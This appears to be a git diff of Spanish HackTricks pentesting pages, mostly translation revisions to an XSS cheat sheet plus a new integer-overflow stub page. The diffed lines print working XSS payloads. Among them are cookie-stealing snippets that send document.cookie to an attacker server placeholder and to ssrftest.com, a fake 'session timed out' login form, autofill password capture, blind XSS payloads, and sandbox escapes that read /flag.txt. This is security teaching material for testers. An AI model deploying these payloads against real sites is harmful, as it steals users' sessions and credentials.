### Bypass de Ruby-On-Rails
|
||||
### Salto de Ruby-On-Rails
|
||||
|
||||
Debido a las **asignaciones masivas de RoR**, las comillas se insertan en el HTML y luego se omite la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\
|
||||
Debido a las **asignaciones masivas de RoR**, las comillas se insertan en el HTML y luego se evade la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\
|
||||
Por ejemplo de formulario ([de este informe](https://hackerone.com/reports/709336)), si envías el payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
La pareja "Clave", "Valor" se devolverá de la siguiente manera:
|
||||
La pareja "Clave", "Valor" se devolverá así:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
|
@ -800,22 +800,22 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS con inyección de cabeceras en una respuesta 302
|
||||
|
||||
Si descubres que puedes **inyectar cabeceras en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto no es **trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que solo un payload de scripting entre sitios es inútil.
|
||||
Si descubres que puedes **inyectar cabeceras en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que solo un payload de scripting entre sitios es inútil.
|
||||
|
||||
En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro de la cabecera de Ubicación y ver si alguno de ellos permite al navegador inspeccionar y ejecutar el payload XSS dentro del cuerpo.\
|
||||
En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro de la cabecera de Ubicación y ver si alguno de ellos permite al navegador inspeccionar y ejecutar el payload de XSS dentro del cuerpo.\
|
||||
Protocolos conocidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabecera de Ubicación vacía_, `resource://`.
|
||||
|
||||
### Solo letras, números y puntos
|
||||
### Solo Letras, Números y Puntos
|
||||
|
||||
Si puedes indicar el **callback** que JavaScript va a **ejecutar** limitado a esos caracteres. [**Lee esta sección de esta publicación**](./#javascript-function) para descubrir cómo abusar de este comportamiento.
|
||||
|
||||
### Tipos de contenido `<script>` válidos para XSS
|
||||
### Tipos de Contenido `<script>` válidos para XSS
|
||||
|
||||
(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si intentas cargar un script con un **tipo de contenido** como `application/octet-stream`, Chrome mostrará el siguiente error:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque su tipo MIME (‘application/octet-stream’) no es ejecutable y la comprobación estricta del tipo MIME está habilitada.
|
||||
|
||||
Los únicos **tipos de contenido** que admitirán que Chrome ejecute un **script cargado** son los que se encuentran dentro de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
Los únicos **tipos de contenido** que admitirán que Chrome ejecute un **script cargado** son aquellos dentro de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -845,7 +845,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
La respuesta es:
|
||||
|
||||
* **módulo** (por defecto, nada que explicar)
|
||||
* **módulo** (predeterminado, nada que explicar)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS...) juntos en un archivo **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
|
@ -893,7 +893,7 @@ Este comportamiento fue utilizado en [**este informe**](https://github.com/zwade
|
|||
```
|
||||
### Tipos de Contenido Web para XSS
|
||||
|
||||
(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
|
||||
(Desde [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
|
@ -904,7 +904,7 @@ Este comportamiento fue utilizado en [**este informe**](https://github.com/zwade
|
|||
* application/rss+xml (desactivado)
|
||||
* application/atom+xml (desactivado)
|
||||
|
||||
En otros navegadores se pueden utilizar otros **`Content-Types`** para ejecutar JS arbitrario, verifica: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
En otros navegadores se pueden utilizar otros **`Tipos de Contenido`** para ejecutar JS arbitrario, verifica: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Tipo de Contenido xml
|
||||
|
||||
|
@ -918,7 +918,7 @@ Si la página devuelve un tipo de contenido text/xml, es posible indicar un espa
|
|||
```
|
||||
### Patrones de Reemplazo Especiales
|
||||
|
||||
Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**. El atacante podría usar [**reemplazos de cadena especiales**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para intentar evadir algunas protecciones: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**, el atacante podría usar [**reemplazos de cadena especiales**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para intentar evadir algunas protecciones: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Por ejemplo, en [**este informe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se utilizó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario.
|
||||
|
||||
|
@ -928,7 +928,7 @@ Por ejemplo, en [**este informe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA
|
|||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Escapar de XS Jails
|
||||
### Escapar de Jaulas XS
|
||||
|
||||
Si solo tienes un conjunto limitado de caracteres para usar, verifica estas otras soluciones válidas para problemas de XSJail:
|
||||
```javascript
|
||||
|
@ -961,7 +961,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Si **todo está sin definir** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:
|
||||
Si **todo está indefinido** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:
|
||||
|
||||
* Utilizando import()
|
||||
```javascript
|
||||
|
@ -976,7 +976,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
// our actual module code
|
||||
});
|
||||
```
|
||||
Por lo tanto, si desde ese módulo podemos **llamar a otra función**, es posible utilizar `arguments.callee.caller.arguments[1]` desde esa función para acceder a **`require`**:
|
||||
Por lo tanto, si desde ese módulo podemos **llamar a otra función**, es posible usar `arguments.callee.caller.arguments[1]` desde esa función para acceder a **`require`**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -1064,7 +1064,15 @@ trigger()
|
|||
[steal-info-js.md](steal-info-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Obtener Cookies
|
||||
### Trampa de Iframe
|
||||
|
||||
Hacer que el usuario navegue en la página sin salir de un iframe y robar sus acciones (incluida la información enviada en formularios):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Recuperar Cookies
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
|
@ -1087,7 +1095,7 @@ trigger()
|
|||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
{% hint style="info" %}
|
||||
No podrás acceder a las cookies desde JavaScript si se establece la bandera HTTPOnly en la cookie. Pero aquí tienes [algunas formas de evitar esta protección](../hacking-with-cookies/#httponly) si tienes la suficiente suerte.
|
||||
No podrás acceder a las cookies desde JavaScript si la bandera HTTPOnly está configurada en la cookie. Pero aquí tienes [algunas formas de evitar esta protección](../hacking-with-cookies/#httponly) si tienes la suficiente suerte.
|
||||
{% endhint %}
|
||||
|
||||
### Robar contenido de la página
|
||||
|
@ -1176,7 +1184,7 @@ Revisa la lista de puertos prohibidos en Chrome [**aquí**](https://src.chromium
|
|||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Captura de autocompletar contraseñas
|
||||
### Captura de contraseñas de autocompletar
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
@ -1237,7 +1245,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Payloads de Blind XSS
|
||||
### Cargas útiles de Blind XSS
|
||||
|
||||
También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
@ -1279,9 +1287,9 @@ También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
|
|||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - Acceso a Contenido Oculto
|
||||
### Regex - Acceso a contenido oculto
|
||||
|
||||
Desde [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, todavía es posible encontrarlos en atributos JS en diferentes objetos. Por ejemplo, un input de un REGEX todavía es posible encontrarlo después de que el valor del input del regex haya sido eliminado:
|
||||
Desde [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, todavía es posible encontrarlos en atributos JS en diferentes objetos. Por ejemplo, es posible encontrar un input de un REGEX después de que el valor del input del regex haya sido eliminado:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1300,7 +1308,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
|
||||
## Abusando de otras vulnerabilidades con XSS
|
||||
## XSS Abusando de otras vulnerabilidades
|
||||
|
||||
### XSS en Markdown
|
||||
|
||||
|
@ -1340,7 +1348,7 @@ AMP, destinado a acelerar el rendimiento de páginas web en dispositivos móvile
|
|||
|
||||
El formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos electrónicos.
|
||||
|
||||
Ejemplo de [**explicación de XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Ejemplo de [**exposición de XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS al cargar archivos (svg)
|
||||
|
||||
|
@ -1400,9 +1408,9 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Encuentra **más cargas útiles SVG en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Encuentra **más payloads SVG en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Trucos JS Misceláneos e Información Relevante
|
||||
## Trucos Misceláneos de JS e Información Relevante
|
||||
|
||||
{% content-ref url="other-js-tricks.md" %}
|
||||
[other-js-tricks.md](other-js-tricks.md)
|
||||
|
@ -1416,20 +1424,20 @@ Encuentra **más cargas útiles SVG en** [**https://github.com/allanlw/svg-cheat
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
|
@ -0,0 +1,31 @@
|
|||
# Desbordamiento de Enteros
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Check:
|
||||
|
||||
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
|
||||
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue